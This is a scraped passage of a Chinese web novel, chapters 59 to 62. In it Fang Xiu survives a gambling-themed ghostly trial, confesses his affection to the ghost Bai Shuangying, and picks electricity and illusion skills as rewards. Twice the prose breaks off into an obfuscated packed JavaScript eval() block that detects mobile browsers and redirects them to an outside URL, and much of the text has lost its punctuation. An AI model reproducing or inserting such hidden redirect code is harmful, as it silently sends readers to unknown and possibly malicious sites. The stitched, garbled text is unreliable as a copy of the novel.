宋铮倒是好端端地站着,冲方休比了个拇指。可他耍帅不到三秒,像是想到了什么,又开始扶着墙嗷嗷吐。 另外两只蘑菇彻底长在墙角,呕呕声此起彼伏。 蘑菇小分队旁边,关鹤已经安详地躺下了,也不知道是吐晕还是放心地昏睡。 方休:“……” 他转向厚叔的方向。 出乎方休的意料,厚叔居然没有发难,反而冲他友好地挥挥手。 此人另一只手拿着一柄钩镰枪,枪上还带有鲜亮的血渍。 “不用担心那群废物,欢喜厄毁灭前,叔就把他们的跟腱全断了。” 他颇为欣赏地表示,脸上的眼球一晃一晃,“不错嘛小伙子,要不要跟叔聊聊?” 第 60 章 爱情宣言 第60章爱情宣言 【旁观者清。】 厚叔笑吟吟的,表情居然十分真诚。 没了欢喜厄的幻象误导厚叔的状态应该不怎么好。可他收了钩镰枪反手又掏出个烟斗,在嘴里咂了咂。 袅袅青烟环绕,厚叔瞧着气定神闲。 “我的……我的法器……还我……”有人痛苦地呻.吟起来朝厚叔的方向蠕动。 厚叔权当没瞧见,只是继续招呼方休:“别怕就是想跟你说两句认识认识。” 方休观察好一会儿,没发现谎言的迹象。 【你的附身还能撑多久?】他在脑袋里问白双影。 方休初步感受到了附身的副作用——他的小腹传出可疑的黏液声响一部分内脏貌似融化成了肉冻。偏偏他还感受不到痛,那种异物感格外诡异。 这种“燃尽一切”的合体技,怕是只能最后关头使用。 白双影在他的脑子里翻涌:【现在你有地府的“百邪不侵”,姑且没事。】 方休放下心来他遥遥转向厚叔:“你有话跟我说?” 厚叔见方休没迎上来也不恼。他带着两个护卫,嘬着烟斗走向方休。 他眼扫过伪装成食物的腐肉,脚踩过满地枯骨,眉头却动都不动一下。仿佛这里不是废墟,仍然是那个金碧辉煌的欢喜鑫天地。 大厅里的人**两三百,剩下大半都被厚叔断了跟腱,不得不匍匐在地。 厚叔身边的人朝他伸手身后的人唾骂不止。有哀求厚叔的,有诅咒方休的,只是这两位“主角”只把骂声当做背景音。 离方休还有四五步的时候厚叔停下脚步:“我呢只是想解除一些误会。” “先前我想杀你,只是不想看这地方乱套。这里恒定八百八十八人总有新人补进来胡搞八搞……幻象破灭前我不晓得你是搞事还是解厄只好下手啰。” “方才帮你拦住那些废物 厚叔的情绪稳定到匪夷所思方休不禁好奇起来:“什么叫‘谢我还来不及’?” 厚叔笑了几声干尸般的脸皱成一团:“咱玩的是贷不是赌没兑多少因果。小伙子叔在人间那生活可比这里的好多啦。” “那群憨货只想着留下把压箱底的法器都当给我了连两头下注都不晓得。” 听到这话厅堂里又响起一阵阵哀求恳求厚叔归还法器。然而厚叔喷云吐雾充耳不闻。 方休上下打量厚叔。 怪不得厚叔身边的手下分毫不慌还在服从命令。 欢喜厄不倒厚叔靠筹码拉 拢人心。欢喜厄没了,厚叔手里又攥着大量地府法器,那可是十成十的硬通货。 这家伙不像贾旭,厚叔是个真正意义上的“商人”。 此人特地过来交涉的目的,恐怕是…… “小伙子厉害,上来就玩出个‘不赌为赢’。在叔这挑几件法器呗,就当交个朋友。”厚叔露出沾满茶色污渍的牙齿,慈眉善目道。 方休礼貌地微笑回去:“不必了。” 厚叔看起来没有太过意外,他又笑笑:“谨慎派嘛,不错不错。” “总之,你明白叔的想法就好,省得再碰面的时候稀里糊涂当仇人。” 说罢,厚叔摆摆手,带着手下走远了。 厚叔边走边与手下们交谈,真的拿出不少法器分发。一众手下感恩戴德,他们毫不在意地踩过那些匍匐在地的祭品,俨然一副胜利者的模样。 方休瞧着厚叔的背影看了会儿,礼貌的微笑逐渐消失。 半晌,他吐了口气,回头叫纸人先把成松云、关鹤和黄毛送回塔。 成松云因为怨鬼盾的缘故变得虚弱,关鹤还在昏睡,黄毛血葫芦一样晕在地上。三个人凑不出一个清醒的脑子,没必要再待在这里。 梅岚倒是还清醒。她与蘑菇三人组一样,提前找了个角落躲着。 这场祭祀中,梅岚把自己边缘化得十分漂亮。仔细想来,她甚至连因果都没有兑过,一直用的是跟贾旭“稳赢”来的筹码。 梅岚冲方休点了点头,自行要求回塔,身影瞬间消失了。 与她一起离开的,还有那些刚来不久,仍保有因果与法器的人。没过几分钟,废弃的厅堂里就只剩下满地尸骨,以及失去一切,趴在地上哀求嚎哭的“残渣”。 蘑菇三人组在其中相当扎眼。 厚叔慷慨地分给了阿清一两件法器,后者孤零零走向曾经的队友,也不知道他带走的那位“谈判增强”人士去了哪里。 方休本想上前说两句,见状停住脚步。 只见小田一巴掌扇到阿清脸上,边哭边骂。小李则背过身去收纳核舟,假装阿清不存在。 宋铮红了眼圈。他和阿清说了会儿话,犹豫几秒,最终摇了摇头。 阿清颤抖着摘下眼镜,使劲抹了抹眼睛。他失魂落魄地走向纸人,独自回塔。 确定三人组情绪平息,方休才走上前去。 宋铮赶忙擦了把脸,提起情绪:“哎哟,大佬回来了!谢谢你啊方休。” 小李和小田跟着道谢,他们脸上残留着悲伤,但语气十分真诚。尤其是小田——方休彻底露了脸,这会儿她光明正大地盯着他瞧,声称要治愈自己破碎的心灵。 “信女愿吃素一年请您剪掉刘海。”小田双手 合十语气严肃。 小李呛她:“你刚刚才说被这里恶心得一年吃不下肉。” 小田小李打成一团。 方休:“……” 说实话这三个人能力不错心理素质也不差。可惜解厄塔不允许合并组队方休心想。 “别管他们。”宋铮扯扯嘴角“既然厄解了咱也要散了。我这边来个免费情报大放送听不?” 方休点点头。 宋铮苦笑两声给出了他的“限免情报”——关于阿清如何在“禁止骗取筹码”的禁忌下欺骗他们。 “他当时找我们忏悔说想归队要借我们的筹码从厚叔那里‘赎身’。我们这才倾家荡产给他凑筹码……” 阿清并没有因为欺骗犯忌。证明话说出口的那一刻阿清是真心悔过。 他真的想要回归队伍也没有刻意骗取同伴的筹码。他只是在还清厚叔的债前想“为了同伴”赌上两把多赚点筹码再还。 伴随着借来的筹码输干净那份真心再次消失了。 “……方休在这种地方你不要相信任何人。哪怕咱们将来再见面你也最好留个心眼。” 宋铮看向阿清消失的地方表情愈发苦涩“虽然这话听着很消极但谁都不知道人会变成啥样。” 方休:“谢谢你。” 虽然他早就知晓了这一点。 宋铮使劲抓抓头发:“算了不说这些消极的你有没有啥想问我们?啥都行我们也拿不出什么好的回报。” 回报吗? 方休没兴趣强要宋铮的法器;而有“直觉增强”和“幸运增强”这两个BUG宋铮一组的解厄经验也很难借鉴。 他好像没什么能从对方那里得到的……等等不对。 方休思索良久:“我想和小田谈谈。我想问的事情有点隐私不避着你们就稍微走远点……这样可以吗?” 小田答应得非常干脆。 两人挑了个人少尸体多的角落小田严肃立正:“来你想问我什么?” 方休左右看看发现奠二和奠五一副“大爷您慢聊我们随时守候”的模样他放心地吸了口气—— “你谈过恋爱吗?”方休问。 小田:“……” 小田掏掏耳朵:“……???” 小田长相甜美 如此一来方休的问题显得更加奇怪。 尽管迷惑她还是答了:“谈过啊谈过俩。” 方休:“如果你遇见了一个非常非常合拍的嗯人。你怎么分辨是‘对朋友的喜欢’还是‘那种喜欢’?” 小田极 大震撼:“不是你没谈过?你长成这样没谈过?方哥你的理发师是谁我要把他告上法庭……” “这事说来话长你先回答我的问题。”方休干咳两声。 小田深吸一口气铿锵有力道:“看你想不想亲人家睡人家回答完毕。” 方休哑口无言。 他特地找到小田指望得到一个细腻深刻的感情区分理论。结果现在理论有了不仅粗糙并且粗暴。 但是好像确实有道理…… 方休持续沉默小田的八卦之火熊熊燃起:“是谁啊方哥难道是祭祀里的人?告诉我呗我绝对保密。” 要是再也碰不到方休她就一辈子吃不到这个瓜的后续了! 残忍的方休先生没有回答他飘忽着跟他们告别飘忽着离开此地。 眼看纸人把方休送回解厄塔小田不禁开始怀疑自己的幸运体质。就在她原地发呆时宋铮拍了拍她的手臂。 “我有预感咱们还会再见到他。”宋铮的语气很肯定。 小田做了几个深呼吸又活了过来:“嗯!” 玩笑归玩笑她现在迫切需要一点盼头。 毕竟他们三个商量好了不会再接纳阿清。 至于他们“谈判增强”的成员那人兑换了所有因果输光了所有筹码 ……她能够托付性命的同伴只剩下宋铮和小李两人。 如果还能遇见方休说明他们在“再次遇见方休”前不会死去。 如果还能遇见方休有这么强悍的人在场那场祭祀一定会顺顺利利。 虽然不知道这是宋铮的直觉还是宋铮安慰她的托词小田都决定相信下去。 “其实说实话我觉得方休有点奇怪。”小田稳住情绪后忍不住嘟哝了两声。 宋铮、小李:“怎么说?” “不是糟糕的那种奇怪所以保密那是人家的隐私。”小田拨拨头发。 方休喜欢上了一个人这是好事。 方休在祭祀里喜欢上了一个人她愿称之为吊桥效应下的炽热爱火。 可是方休的表现却不像一个陷入恋爱的人。那只黑色的右眼充满向往、惊奇与喜悦唯独没有期待。 方休没有告诉她自己喜欢谁。恍惚之中他只是如释重负地松了口气低声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他所见的人类祈求庇护方休却巴不得他少插手;他所见的人类祈求指引方休却抓住主导权不放;他所见的人类祈求关爱方休…… 方休这种算什么? 他的对面方休突然动了。方休笨拙地活动失而复得的手脚爬过柔软的床垫在白双影面前坐下。 “白双影。” 白双影:“嗯。” “你怎么看待‘爱’?” 方休近距离盯着他慢条斯理地问“不明白没关系旁观者的角度也行。” 一个难题白双影心想。 他知道这种情感存在而且不止在人类身上存在。但他从没深思过这个问题更没有谁询问过他这个问题。 考虑了好一会儿白双影学了方休当初的手势。他伸出左右食指在胸口比了个“×”。 “这是两条性命。” 他认真答道,“它们可以是任何关系,也可以是不同族群。” “它们知道注定离别,却还要彼此依偎。世间情意,大抵如此。” 方休定定地看着他,不发一言。 白双影看不透那双眼里的情绪,又补了句:“一个旁观者的角度罢了。” “我非常喜欢这个角度。”方休挨得更近了,“你不好奇我为什么问小田恋爱问题吗?” “你喜欢一个非常非常合拍的人。”白双影回忆片刻,认为这个问题很简单,“……成松云还是关鹤?” 方休噗地笑出声,他把脸埋进被子,大笑着捶了几下床垫。再抬起头的时候,他眉眼弯弯,眼睛亮极了。 “哎哟你也太好骗了。我说是人,你就信是人?” 白双影目光逐渐疑惑。 方休伸出热腾腾的手,按上白双影没有心跳的胸口。白双影能感受到方休的脉搏,他的人类心脏疯狂跳动,远没有看起来那般平静。 方休舔舔干裂的嘴唇:“别乱动啊。” “好。” 下一秒,方休身体前倾。他的呼吸在白双影面前停了会儿,脸又稍稍侧开,吻上白双影左脸的血痣。 方休吻得又轻又认真。 此人的体温比平时要高,嘴唇像是柔软的烙铁,烫得白双影吃了一惊。 但白双影确实纹丝不动——方休曾把他咀嚼了一整晚。他不久前还钻过那张嘴,别说嘴唇,他连方休的喉管和食道都抚弄过。 只是嘴唇落在面颊,还好。 短暂的亲吻过后,方休摸摸嘴唇,指缝间漏出一点叹息。他伸手抚摸白双影面颊,又滑到冰冷的脖颈与柔软的发尾。 白双影依旧一动不动,一双白眸映着方休的面孔。 “小田说得有道理。” 方休移动掌心,轻轻盖住那双眼睛,“以防万一,我得跟你打个招呼。” “我要开始喜欢你了,白双影。” 第 61 章 双重奖励 第61章双重奖励 【两个异能。】 听到这句话,白双影第一时间很冷静。 眼下他化作人形方休不过是被他的皮相迷惑就像被狐仙艳鬼之流蛊惑的书生。只要他恢复原状,便能让方休清醒过来。 下一刻,白双影身体开始融化。他的五官扭曲地融合湿哒哒地往下淌,如同进了烤炉的蜡像。 他的眼睛化作流体漫过方休的指缝顺着他的手背流下。不过十几秒,只有一团迷梦般的“液团”悬浮在方休面前。 白双影蠕动身形平静地“注视”着方休。 方休抚摸着悬在身前的怪物:“……这样正好。” 说罢他再次前倾身体,吻上了那颗没有消失的血痣。 这次他的吻没那么轻了。方休微微张开嘴,不轻不重地咬了白双影的本体一下。他的舌尖轻轻蹭过柔软的流体,心跳声大到有些吵闹。 “看来我真的很喜欢你。”方休顺手捶了捶胸口。 白双影:“……” 白双影:“?” 他又无法理解这个人类了。 眼见白双影冻住一样僵在半空方休缓缓爬回床上:“我只是跟你说一声你没必要回应我。” 白双影继续在半空凝固。 “接下来,我肯定想要亲近你,我只是不希望在你不知情的情况下这么干。”方休又徐徐钻进被窝,“你要是在意,可以离我远点。” 没了疼痛和残缺,方休在被窝里来回扑腾,很快把自己包成一个软绵绵的茧。 白双影则啪嗒掉在床垫上 曾经人类对他许下诸多祈求,哪怕是那个时候,都没有人类敢说“喜欢他”。 明明方休深信邪祟不会在意人类;明明方休说他们只是在交叉点早晚会分别;方休还说过他是个“完美朋友”……人类变得太快了! 【为什么?】他终究没忍住提问。 方休大半脑袋缩在被子里只露出一双眼睛:“因为这样很开心。” 【我无法与你成亲。】白双影实事求是道。 “我当然知道。”方休哭笑不得。 八场祭祀过了三场,他们的旅途眼看就要过半。方休知道他会坚定不移地执行人生计划除此之外一切都是“体验”。 喜欢白双影是充实又新奇的体验甚至能让他的状态变好。 方休深信堵不如疏喜欢就是喜欢不如轰轰烈烈感受一把。反正白双影不会回应这正中他的下怀。 可听见白双影直白地说出事实方休心底还是扯动了一下。 那滋味又酸又痒很难形容。他珍惜地品 味了会儿,整个人缩进被子。 “我又不是情感押注,不会天天惦记‘连本带利赢回来’。” 他小声嘀咕,心脏不受控制地狂跳,连带着后颈和眼眶一阵发麻。 白双影在被子外面安静了会儿,慢慢恢复人形,床垫轻轻地凹陷下去。他摸摸方休裹出的被子鼓包,半天扒开一个角,顺着被子缝隙瞧方休。 “既然你喜欢我,那我也要躺到床上。”白双影自认要求很合理。 方休在被子里呃了两声,摆出谈判般的严肃面孔:“我可以抱着你睡吗?保证不做别的。” “嗯,分享床铺就够了,你不必邀我用饭。”白双影表示理解。 方休:“……” 方休缓缓压死被子缝隙,挤出一大股热气。 最终,白双影如愿以偿地躺到了床上。 欢喜厄的浴缸和天花板一样硬,还是床垫好些,方休也很好。 为了防止方休半夜啃自己,白双影决定以人形休息。方休信守了自己的诺言,他婴儿般蜷缩身体,额头抵在白双影胸口,紧紧倚着他睡了。 这并非一个狎昵的姿态。 白双影不需要睡眠。 他在黑暗中细细观察方休,手指绕着此人的发丝。方休的头发很软,触感像野兽过冬的绒毛。 第三场祭祀的消耗终于显现,这次方休睡得非常沉。他的双手紧紧攥着白双影的袖子,心跳比平时快半拍。 此人的眉眼看起来放松却亢奋,就像幼兽迁徙到一处新居,或者进行第一场捕猎。 每当他多了解方休一点,方休就会给他带来新的难题,白双影心想。 神奇的是,这种了解并没有让他烦躁或腻味。 想象了一下“理解黄毛才能解封”,白双影宁可本体糊在墙上当壁纸,也断然不愿意和那家伙分享一张床。 话说回来,黄毛也没什么可理解的,一眼看透的俗物罢了。 想着想着,他的指尖随意撬开方休的嘴唇,感受口腔的柔软和犬齿的坚硬。 方休梦中咕哝两声,他没有反抗,只是把脸埋进白双影的胸口,姿态越发松弛。 他的人类果然不一样。至于哪里不一样,白双影说不上来。 …… 清晨,方休在自家鬼怀里蹭了蹭:“早安。” 他花了足足半分钟来感慨活着的快乐,以及这个史无前例的清爽早晨。比起连续几天的剧痛折磨,方休只觉得此刻地府长得很像天堂。 要不是还有解厄奖励要领,方休恨不得挨着自家鬼躺上一上午。他在被窝里赖了好一会儿,才起床清点祭祀战利品。 这一次,方休的收获大不如前—— 他们只带回来那个附赠的筹码。 筹码倒还是老样子,它的眼珠转来转去,快速打量周遭。 据白双影解释,它连法器都算不上。只不过是欢喜厄取了一点“寄生脑髓”的残魂,将它与人骨融合,才做出这么个东西。 “也算特产纪念。” 方休和筹码对视几秒,把它按在了中秋厄合影的旁边。 至于新法器,那是一个都没捞着,反倒损失一个玉佛。事到如今,方休手上的玉佛只剩一个了。 方休无所谓地收起玉佛,翻出老金的照妖镜,当场充了饭卡。 白双影:“!” 方休解释:“没有老金的异象技能,这只是个鸡肋玩意儿。” 它能照出有敌意的人?无所谓,反正他会默认所有人都有敌意。 一只无头邪祟凭空出现,方休把它推给白双影,絮叨的口气像极了成松云:“我说你都饿了三天了。待会儿我带你吃饭你干看,我想想就吃不下去。” 白双影点点头,准备开吃,然后他发现方休目不转睛地盯着自己。 白双影:“……” 白双影突然意识到了这个人类告白的副作用——现在他会忍不住注意方休的所有行为细节,瞧瞧这个人类的“喜欢”到底怎么回事。 过度在意下,他好像忘记了自己平时怎么吃邪祟。 最后,白双影悻悻恢复本体,把那无头邪祟整个包裹进身体,一口闷了。至于那邪祟是什么味道,他硬是没有尝出来。 看着方休那一脸“天呐我家鬼饿成啥样了”的悲怆,白双影哑口无言。 接着到来的人类早餐时间,气氛更加微妙。 成松云和关鹤坐在老地方,友善地招呼方休。没了贾旭,另一桌只剩黄毛和梅岚,院子显得空旷而安静。 黄毛偷看方休好一会儿,干笑:“方哥,贾、贾旭咋没了?” 除了成松云,其他三人都被隔离在火墙之外,并没有看到方休杀死贾旭的现场。 于是方休:“出了点意外。” 方休语气平静,关鹤眼看着深信不疑。黄毛眼珠子转了个几圈:“也对也对,他把因果都兑光了,后路都没留,没得办法。” 他甚至没有为贾旭默哀片刻,而是边说边瞄方休。黄毛语气里讨好的意思挺明显,活像露出肚皮的癞皮狗。 梅岚照旧沉默不语,她朝方休点点头,安安静静地吃早餐。 虽然谁都没有明说,所有人已然达成共识——之后这个小组的首领,毫无疑问是方休。 “欢喜鑫厄已除,除厄者另有奖励——” “厄为方休所除,重重有赏——” 纸人奠二愉快地踏上香炉,看着心情极好,“欢喜厄为地府大患,方休解厄造福两界,此回追加一 次奖励!” 方休停下拿茶蛋的手:“追加奖励?” 白双影也忍不住侧过脸。难得地府如此慷慨,看来是吃够了苦头。如果这次有两个奖励,没捞到法器也值得。 纸人点头哈腰:“可不是嘛,那欢喜厄无人能修,因果滚得和雪球儿似的。您可以选俩异象技能,管够!” 黄毛没敢立刻起哄,他显然也没啥胃口吃饭,就眼巴巴看着。 欢喜厄的赌狗禁忌,方休是一点兴趣都没有。 他原本在某两个异象中犹豫,艰难地挑好了一个异象。没想到还有机会。那成年人自然全都要。 “第一个技能,我要欢喜厄本体的凭空供电。”方休爽快点单。 恐怖环境里,急缺的就那几样。现在无限食物技能有了,核能打火机技能有了,下一个实用大户自然是“电”。 纸人已经习惯了方休的异想天开,表情带着一丝安详:“嗯嗯,您继续。” “第二个技能,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705292|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要基础的幻象创造。” 他不指望制造欢喜鑫天地级别的庞大幻象,只要能放虚影就好,关键时刻自有妙用。 “哎唷,您选得好!”纸人态度奇佳。 “说到这‘凭空供电’,您没法拿雷劈人劈邪祟,纯充电没问题。” “说到这‘幻象创造’,您能制造一个无法碰触的幻象。它可以遵循指示发出声音,简单行动……效果大致如此,您确定?” 方休:“……确定。” 他配合地伸出左臂,让纸人刻下技能。这回“震卦”与“兑卦”同时浮现,又同时沉入皮肤深处。 “欢喜鑫厄属雷,震兑相克相容。老规矩,这些技能只能在祭祀全部完成前使用。” 纸人搓着双手,两只怪眼都快笑没了,“您这三场凑四卦,史无前例,前途无量哟——” “过奖过奖。”方休忍不住挠挠脸。 什么前途无量不无量的,他只是凑齐了生存类恐怖游戏的高效配置。 纸人奠二变得如此谄媚,他实在有点不习惯。欢喜厄破,这家伙绝对也拿到了丰厚的奖赏。 眼看奠二嘴巴一张,又要喷出大量马屁,方休立刻塞完早餐,嗖地站起身。 面对殷切看过来的一双鬼眼四双人眼,方休艰难地咽下食物,鼓着腮帮子道:“大家先休息吧,晚饭再聊。” 然后他便飞快地钻回房间。 方休先是把音箱搬了出来一顿充电,确认自己真的变成了人形充电宝,从此远离电量焦虑。 然后他手一挥,当场召出了另一个“方休”。 这个幻象乍看真实无比,与方休本人完全一样。它活泼地眨眨眼睛,微笑起来:“白双影。” 白双影应声走 上前,抓了下那道身影。谁想他这一手拍下去,幻象云雾般散了。 “真实性不错,但一击即溃,最多当个诱饵。”白双影总结。 “这种程度的诱饵足够了,我想要的就是这个。”方休愉快地表示,又一挥手,这次他召出了白双影的幻象。 “……方休。” “白双影”黑发垂落,脸上没什么表情,雪白的眸子毫无情绪可言。 白双影觉得这个幻象着实不错,外貌和声音与他完全一致,他有种照镜子的错觉。只是方休脸上的笑容缓缓消失,眉头皱了起来。 “怎么不像啊。”他低声嘟囔。 白双影好奇:“哪里不像?” “说不上来,反正很假。”方休不太满意地驱散幻象,叹了口气,“算了,我的幻象更扎眼,更适合当诱饵。” 白双影觉得有道理,便顺口转了话题:“你今日打算做什么?” 快让他多研究研究。 方休被问得一惊,接着嘴角稍稍勾起:“反正闲着也是闲着,咱俩要不要去探险?” “探险?” “嗯,来了这么久,咱们还没有好好逛过这座塔呢。”之前每到出门,他都要被贾旭拉着开会,方休一直奉行非必要不出门的政策。 现在还好,三场祭祀下来,他把人心拢得差不多了。 关鹤和成松云都站在自己这边,相对靠谱;黄毛是典型的畏强欺弱,短时间翻不出什么风浪。 方休唯一拿不太准的,是梅岚。 梅岚一直没什么存在感,她的话不多,性格也平平常常,有种若即若离的“挂件”气质。不可思议的是,这三场祭祀下来,此人可谓毫发无损。 一次两次可能是意外,但接连三场祭祀都这样,方休有那么点儿在意。 毕竟当初坦白血债的时候,梅岚并没有和盘托出。 不过至今为止,梅岚也没有做什么妨碍他的事,方休决定继续观察一阵。 他收敛心思,继续“探险”话题:“……趁着纸人心情不错,咱们多了解了解地府也好。” 白双影思索几秒,深以为然。 …… 梅岚的房间。 梅岚用养魂泉冲完澡,按部就班穿回衣服——时髦的青绿衬衫、优雅却易于活动的深色裙裤,以及与之配套的丝巾装饰。 她将头发简单挽起,绑好绸带,最后轻轻拿起一个吊坠。 那吊坠是青玉质地,造型怪异,正中央刻了两个几乎黏在一起的篆字—— 【归山】 她将它戴上脖颈,藏在丝巾之下,藏在衣服最深处。 做完这一切,梅岚在那张古旧的供桌前跪下。她双手合十,双眼紧闭,表情一片空白。 一串串低吟从她的口中流出,很难说那是祈祷,还是诅咒。 第 62 章 亲吻条件 第62章亲吻条件 【隐藏门扉。】 解厄塔顶。 鬼仙阿守心满意足地翻看祭祀报告,手边特地配了茶水和酥皮点心。 爽啊欢喜厄这个大毒瘤可算被人解开了。 通常来说八场祭祀短则一个月,最长也不会超过半年。欢喜厄却能把祭品拖个两三年,地府光是托管祭品的阳间身体就要耗费大量鬼力。 奠五回归解厄塔,她爽快地给它批了一年的带薪假。连带着奠二都沾了光被免除了中秋祭的部分罚款。 这会儿奠二正搓着手等报告反馈。它笑得合不拢嘴,脸上哪还有半点阴森全是阳间喜气。 阿守大概看完报告,满足地吃了块点心:“连解中秋厄与欢喜厄,方休这小子不错。” 奠二猛点头:“正是正是,有一阵子没见到这么亮眼的新人啦。您看 说到一半它意识到了什么,连忙低下头,“哎唷,多嘴了多嘴了。” 阿守瞥了它一眼,随意道:“那得等过了第四场祭祀再说。” 她知道纸人在暗示什么。 总有些人类脑子特别灵光,非常擅长解厄。他们会被地府选中,定为“消灾人”。 地府通常会把消灾人所在的队伍挑出来安排他们对付特定的厄。作为回报,地府会给予消灾人特殊照顾。 说来也气。为了解决欢喜厄,地府不知道派去了多少消灾人结果堪比肉包子打狗。消灾人“厚叔”更是摇身一变成了欢喜厄的维护者之一。 “……若是方休能解厄四次,我会将他推举为消灾人。” 阿守呷了口茶水“现在还不行他的祭祀未过半队里的人也太多。” 奠二慌忙:“咱晓得咱晓得。” “不过你要是这样中意方休可以给他一点儿优待别过分便好。” 奠二大为感动:“是——” 看纸人那副喜气洋洋的模样阿守失笑。 这家伙可不是对方休起了什么愧疚之心关爱之情。纯粹是手下出了强人它也能连带着沾光。 她顺手合上报告准备将其存档突然脑海中一阵恍惚。 对了……他们回收了欢喜厄祭祀的祭品身躯方休的肉身破损尤为古怪。他的内脏几乎全部畸变混合只剩相对完整的心脏和大脑…… 根据报告上的记录……报告上的记录是什么来着……? 阿守揉揉额角再次翻开报告最后一页。她突然发现自己不认得那些熟悉的字一笔一划仿佛变成了爬虫在纸面上扭来扭去。 它所承载的含义越过“阅读”这 一步,直接钻进了她的脑海。 【■鬼■■附身,■■肉■■器,此为■■。】 【艳鬼不■附身,损■肉身■器,此为常态。】 【艳鬼不善附身,损毁肉身法器,此为常态。】 是的,艳鬼不擅长附身,艳鬼会毁掉附身躯体。这是常识,这是常识……阿守口中念念有词,闭了闭眼。 解厄塔本身有些特殊,她的意志受到一点点干扰,也不算什么稀奇的事。酒醉般的微醺里,阿守把报告放入了木架。 昏暗火光中,那木架朝黑暗无限延伸。每个格子都塞满了记录卷轴与书册,如同一具具码好的尸骨。 阿守伸出手,指尖轻轻掠过一个个尘封的记录。 只有“成功解厄”才会留下对应记录,若是祭品直接喂了鬼,什么都不会留下。 那个红衣服的小书生,还能在这里留下几次名字呢? …… 解厄塔某层,方休的房间。 “你不擅长附身,所以我的反应才那么大?”方休好奇地问。 对于他们纵火合体技的副作用,白双影的说法是“不擅长附身”。就像飞禽不擅长潜水,走兽不擅长飞行,他天生就这样。 方休坦然接受,大家都有不擅长的事情嘛。 “不擅长也无所谓,主要是这次祭祀人太多了。放在平常,咱们一起隐藏就好。” 方休善解人意地表示,“而且被你附身不怎么难受,你的技术没那么糟。” 白双影礼貌点头:“你的体内也很舒适。” 方休:“………………” 方休用力咳嗽了几声,顾左右而言他:“我看时间正好咱们出去探险吧再晚点就要到午饭时间了。” 白双影嗯了一声,面色如常。 门外,院子还是他们刚来时的模样。只是中三扇门贴了白色封条,上面书写着方休看不懂的符文。 那是属于三个死去同伴的房间。按照纸人的说法,他们应该在现实中**了。 方休在贾旭的房间跟前站了会儿,随手敲了几下门,门内果然寂静无声。 白双影:“你在悼念他?” “怎么可能。”方休立刻摇头,“我只是觉得有点可惜,秦望舒的父母没机会找他发泄仇恨。” “可是贾旭已经**。”白双影不解道。 “死也有死的价值,贾旭死得太轻巧。” 又是自己不太能理解的事物,白双影心想。 在他看来,死亡是彻底的终结,一个纯粹的“动作”。人死之后,因果也会逐渐消散。无论爱恨情仇,终究会随着时间逝去。 如果死亡也有价值…… “那你准备**呢?”白双影不懂就问。 方休愣住 几秒他定定地看着白双影随后逐渐笑起来。 “反正我不想死在祭祀里那样特没意思。” 白双影知道人类讲究“青史留名” 【老子一条命换这么多畜生值了。】 他突然想起那个和方休眼神很像的人类战士。 于是白双影问:“你想用你的死换取敌人的死?” 方休又看了他一会儿眉眼更弯了。他挠挠鼻子语重心长道:“那我不如许愿让仇人死掉何必搭上一条命。” 白双影缓缓垂头决定放弃他的人类果然很难猜透。 好在方休拉着他兴冲冲继续走轻巧地跳过了这个话题。 小院不算大一层就那么八个房间两张桌子九十岁老太也能十分钟逛完。方休和白双影观察半天没找到什么特别的地方。 方休很快瞄准了神秘的二层而他们刚越过堵着台阶的香炉纸人奠二就冒了出来。 “您这是去哪儿啊?”纸人热情洋溢道。 方休:“随便逛逛。” “这二层么平时是不开放的。您要真想看得让咱带着去。” 纸人苍蝇一样搓着手“咱这刚好有空闲您看……” 方休本来想和自家鬼两人世界他下意识看了眼白双影却发现自家鬼目光逐渐好奇颇有些跃跃欲试的意思。 方休在心里叹了口气没再拉扯:“带路吧。” 奠二:“好嘞——” 这还是他们第一次在祭祀没开场的时候来到二楼。 没了地府的“祭祀限时场景皮肤”二楼露出了本来的面貌。它的风格与一楼相近房屋内檐上挂着火红的灯笼。 只是与一楼不同的是二楼只有两扇门。 这两扇门古色古香彼此正对其上都挂了牌匾。 他们平日走的那扇门上挂着“消灾堂”三个大字眼下正落着古式黄铜锁看着没什么特殊之处。 至于那扇平时被隐藏的门上面则写了“万厄祠”三字。它的门锁由青铜铸就上面沾满了可疑的污渍还密密麻麻缠了无数锁链看着颇为不祥。 平日这扇门被幻象掩盖方休从没注意过它。 “消灾堂连通阳间它只会在祭祀期间敞开。” 纸人殷勤地解释“咱会为各位连接祭祀场地方便各位跨越阴阳两界。现在那边还没准备好门外只是虚空罢了。” 方休盯着那扇陌生的门扉:“万厄祠呢?” 纸人话语卡了下谄笑:“那是地府人士专用的地儿不对祭品开放。规矩在这咱没法给您打开。” 听着像员工专用电梯之类的东西方休想。 但他的鬼对万厄祠十分感兴趣——白双影停在门扉紧闭的万厄祠前,指尖一会儿戳戳锁链,一会儿蹭蹭青铜锁,表情相当专注。 方休:“真的没办法开放?” 纸人恳切道:“咱真的没办法呐,上回咱见着这里开门,还是为了迎接新鬼仙。” 他们这边说着,白双影已然抠起了那团锁链。突然一连串呲啪声响起,白双影嗖地收回左手,五官微 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好消息,他在那扇门后察觉到了强烈的因果气息。 那份浓郁的因果,与封印锁链的因果气息相似。二楼严防死守的万厄祠,必定与那该死的封印术法息息相关。 坏消息,鬼仙阿守确实很强。 以他断掉七十三根锁链的水平,做不到悄无声息地消解诅咒,破坏门锁。要是轻举妄动,他会第一时间被阿守发现。 得想个办法探查万厄祠…… 突然伤口处一片湿热。指尖的疼痛减轻了,变得轻飘飘的。 白双影回过神,发现方休捉着他的左手,轻吮他受伤的指尖。 